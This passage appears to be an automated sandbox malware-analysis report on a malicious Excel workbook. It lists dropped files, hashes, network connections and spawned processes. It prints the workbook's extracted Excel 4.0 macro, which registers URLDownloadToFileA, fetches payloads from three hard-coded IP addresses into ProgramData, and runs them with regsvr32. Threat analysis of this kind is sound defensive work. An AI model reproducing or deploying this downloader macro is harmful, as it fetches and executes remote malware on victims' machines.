                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:1536:IhyB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUwPK:Inc6EehCfCZpUHKGXbBKsiiXS
                                                                                                                                                                    MD5:93D04DC3942D1A4D5DF6B05DA0CD184F
                                                                                                                                                                    SHA1:372C04075B369906E325B24994FEACFBF6B7C2BC
                                                                                                                                                                    SHA-256:8C707A624467594965109FE09A059984BDCEC23F98E0C7C8F4655AC536E443B2
                                                                                                                                                                    SHA-512:91277E3C7004D1CE21B1CECBD4091ECF418A9857B3FE43AC2C23CCAE653426860A516CCC85D17739DCDADC1A81E4B423663878AAA9461E897D5E7F2B58CD0141
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Preview: PK..........!.V..............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0.}G..".....BM..C......^|.x8.....v...&kTx.......{..e....jg+...V.........{V`.VI.,Tl...._.n... ...1..B`.B'.;...l\.d.ah...O..X,....6.1q....l..UO.w+....w.T..F.2.B.U........ r.........M.."...0.......N..l..7dsD!..w0..........&I}...ZAq-C.&;.F.Fd.9...F._.)...h....r..../VA?K.p...O...../.s....?.d.....S.v...K>].c...6.].r.CG...4O.4R....p...b.....M.t..c..8!...........D/d..Q.p.1f....n..0....}..>...d0S.....X...
                                                                                                                                                                    C:\Users\user\Desktop\6FC30000:Zone.Identifier
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                    Category:modified
                                                                                                                                                                    Size (bytes):26
                                                                                                                                                                    Entropy (8bit):3.95006375643621
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                    MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                    SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                    SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                    SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                    Malicious:false
                                                                                                                                                                    Reputation:high, very likely benign file
                                                                                                                                                                    Preview: [ZoneTransfer]....ZoneId=0
                                                                                                                                                                    C:\Users\user\Desktop\SRLTX-1266305223.xlsb (copy)
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:Microsoft Excel 2007+
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):99214
                                                                                                                                                                    Entropy (8bit):7.8296133896152025
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:1536:IhyB5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsUwPK:Inc6EehCfCZpUHKGXbBKsiiXS
                                                                                                                                                                    MD5:93D04DC3942D1A4D5DF6B05DA0CD184F
                                                                                                                                                                    SHA1:372C04075B369906E325B24994FEACFBF6B7C2BC
                                                                                                                                                                    SHA-256:8C707A624467594965109FE09A059984BDCEC23F98E0C7C8F4655AC536E443B2
                                                                                                                                                                    SHA-512:91277E3C7004D1CE21B1CECBD4091ECF418A9857B3FE43AC2C23CCAE653426860A516CCC85D17739DCDADC1A81E4B423663878AAA9461E897D5E7F2B58CD0141
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Preview: PK..........!.V..............[Content_Types].xml ...(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.n.0.}G..".....BM..C......^|.x8.....v...&kTx.......{..e....jg+...V.........{V`.VI.,Tl...._.n... ...1..B`.B'.;...l\.d.ah...O..X,....6.1q....l..UO.w+....w.T..F.2.B.U........ r.........M.."...0.......N..l..7dsD!..w0..........&I}...ZAq-C.&;.F.Fd.9...F._.)...h....r..../VA?K.p...O...../.s....?.d.....S.v...K>].c...6.].r.CG...4O.4R....p...b.....M.t..c..8!...........D/d..Q.p.1f....n..0....}..>...d0S.....X...
                                                                                                                                                                    C:\Users\user\Desktop\~$SRLTX-1266305223.xlsb
                                                                                                                                                                    Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    File Type:data
                                                                                                                                                                    Category:dropped
                                                                                                                                                                    Size (bytes):165
                                                                                                                                                                    Entropy (8bit):1.6081032063576088
                                                                                                                                                                    Encrypted:false
                                                                                                                                                                    SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                                    MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                                    SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                                    SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                                    SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                                    Malicious:true
                                                                                                                                                                    Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                                    Static File Info

                                                                                                                                                                    General

                                                                                                                                                                    File type:Microsoft Excel 2007+
                                                                                                                                                                    Entropy (8bit):7.829454136800251
                                                                                                                                                                    TrID:
                                                                                                                                                                    • Microsoft Excel Office Binary workbook document (40504/1) 83.51%
                                                                                                                                                                    • ZIP compressed archive (8000/1) 16.49%
                                                                                                                                                                    File name:SRLTX-1266305223.xlsb
                                                                                                                                                                    File size:99421
                                                                                                                                                                    MD5:9a33b86fa2ee2372023d418129238b25
                                                                                                                                                                    SHA1:d94101917d187df6bd710f2abf288cf9f2ee86c9
                                                                                                                                                                    SHA256:141a23ce14ba6702fdba9d074fe66eab9f9084be7030033b0258656942a3c660
                                                                                                                                                                    SHA512:28d7272b22f2745a1ee9dae5d904125cce3bd1e6fcd4e106cf2e32cf2be9b09198596f02043a03ce03158e9674dd4e80b91a706e7a35699cc7b6507f2acf0c9b
                                                                                                                                                                    SSDEEP:1536:cA/B5SOqcuTUdehXyvl0f4CZpUcab2GFVbgPuDF7exsylBviKsU/B:cAic6EehCfCZpUHKGXbBKsii+B
                                                                                                                                                                    File Content Preview:PK..........!...~.............[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                                    File Icon

                                                                                                                                                                    Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                                    Static OLE Info

                                                                                                                                                                    General

                                                                                                                                                                    Document Type:OpenXML
                                                                                                                                                                    Number of OLE Files:1

                                                                                                                                                                    OLE File "SRLTX-1266305223.xlsb"

                                                                                                                                                                    Indicators

                                                                                                                                                                    Has Summary Info:
                                                                                                                                                                    Application Name:
                                                                                                                                                                    Encrypted Document:
                                                                                                                                                                    Contains Word Document Stream:
                                                                                                                                                                    Contains Workbook/Book Stream:
                                                                                                                                                                    Contains PowerPoint Document Stream:
                                                                                                                                                                    Contains Visio Document Stream:
                                                                                                                                                                    Contains ObjectPool Stream:
                                                                                                                                                                    Flash Objects Count:
                                                                                                                                                                    Contains VBA Macros:

                                                                                                                                                                    Macro 4.0 Code

                                                                                                                                                                    8,6,=Drozd(0,"http://"&Tiposa!E21&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet1.ocx",0,0)
9,6,=Drozd(0,"http://"&Tiposa!E22&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet2.ocx",0,0)
10,6,=Drozd(0,"http://"&Tiposa!E23&Tiposa!G22&Tiposa!G23,"C:\ProgramData\Volet3.ocx",0,0)
15,6,=EXEC("regsvr32  C:\ProgramData\Volet1.ocx")
16,6,=EXEC("regsvr32 C:\ProgramData\Volet2.ocx")
17,6,=EXEC("regsvr32 C:\ProgramData\Volet3.ocx")
23,6,=HALT()

                                                                                                                                                                    0,0,435435
1,7,34
2,1,5
3,8,345
5,10,6
6,8,6
7,9,3434
7,14,34543
8,1,6
8,11,435435
9,1,34
10,1,5
10,10,3
10,11,34
11,2,436
11,8,7
13,2,5
13,9,547
14,8,5
16,9,7
16,12,34
17,3,="uRlMon"
18,3,="URLDownloadTo"
19,2,34
19,3,="JJCCBB"
19,10,5
20,4,80.71.157.224/
21,4,101.99.95.15/
21,6,=RANDBETWEEN(142536473,988879789754)
21,9,5
22,4,185.104.195.81/
22,6,=".dat"
22,8,34
23,4,4
23,6,=".dat2"
24,4,5
24,6,=REGISTER(D18,D19&"FileA",D20,"Drozd",,1,9)
25,4,6
37,6,=GOTO(Tiposa1!G8)
57,12,5654
60,14,54654
61,16,6546
62,12,54654
63,13,546
63,15,456
64,14,54654

                                                                                                                                                                    Network Behavior

                                                                                                                                                                    Network Port Distribution

                                                                                                                                                                    TCP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                    Dec 2, 2021 07:46:28.491153002 CET4974380192.168.2.380.71.157.224
                                                                                                                                                                    Dec 2, 2021 07:46:31.504729033 CET4974380192.168.2.380.71.157.224
                                                                                                                                                                    Dec 2, 2021 07:46:37.520941973 CET4974380192.168.2.380.71.157.224
                                                                                                                                                                    Dec 2, 2021 07:46:49.558140993 CET4974680192.168.2.3101.99.95.15
                                                                                                                                                                    Dec 2, 2021 07:46:52.569029093 CET4974680192.168.2.3101.99.95.15
                                                                                                                                                                    Dec 2, 2021 07:46:58.569418907 CET4974680192.168.2.3101.99.95.15
                                                                                                                                                                    Dec 2, 2021 07:47:10.632522106 CET4976380192.168.2.3185.104.195.81
                                                                                                                                                                    Dec 2, 2021 07:47:13.633141994 CET4976380192.168.2.3185.104.195.81
                                                                                                                                                                    Dec 2, 2021 07:47:19.649245024 CET4976380192.168.2.3185.104.195.81

                                                                                                                                                                    Code Manipulations

                                                                                                                                                                    Statistics

                                                                                                                                                                    Behavior

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    System Behavior

                                                                                                                                                                    Analysis Process: EXCEL.EXE PID: 7036 Parent PID: 744

                                                                                                                                                                    General

                                                                                                                                                                    Start time:07:46:23
                                                                                                                                                                    Start date:02/12/2021
                                                                                                                                                                    Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                    Imagebase:0xfd0000
                                                                                                                                                                    File size:27110184 bytes
                                                                                                                                                                    MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high

                                                                                                                                                                    Analysis Process: regsvr32.exe PID: 336 Parent PID: 7036

                                                                                                                                                                    General

                                                                                                                                                                    Start time:07:47:31
                                                                                                                                                                    Start date:02/12/2021
                                                                                                                                                                    Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:regsvr32 C:\ProgramData\Volet1.ocx
                                                                                                                                                                    Imagebase:0x140000
                                                                                                                                                                    File size:20992 bytes
                                                                                                                                                                    MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high

                                                                                                                                                                    Analysis Process: regsvr32.exe PID: 6812 Parent PID: 7036

                                                                                                                                                                    General

                                                                                                                                                                    Start time:07:47:31
                                                                                                                                                                    Start date:02/12/2021
                                                                                                                                                                    Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:regsvr32 C:\ProgramData\Volet2.ocx
                                                                                                                                                                    Imagebase:0x140000
                                                                                                                                                                    File size:20992 bytes
                                                                                                                                                                    MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high

                                                                                                                                                                    Analysis Process: regsvr32.exe PID: 1328 Parent PID: 7036

                                                                                                                                                                    General

                                                                                                                                                                    Start time:07:47:33
                                                                                                                                                                    Start date:02/12/2021
                                                                                                                                                                    Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:regsvr32 C:\ProgramData\Volet3.ocx
                                                                                                                                                                    Imagebase:0x140000
                                                                                                                                                                    File size:20992 bytes
                                                                                                                                                                    MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high

                                                                                                                                                                    Disassembly

                                                                                                                                                                    Code Analysis

                                                                                                                                                                    Reset < >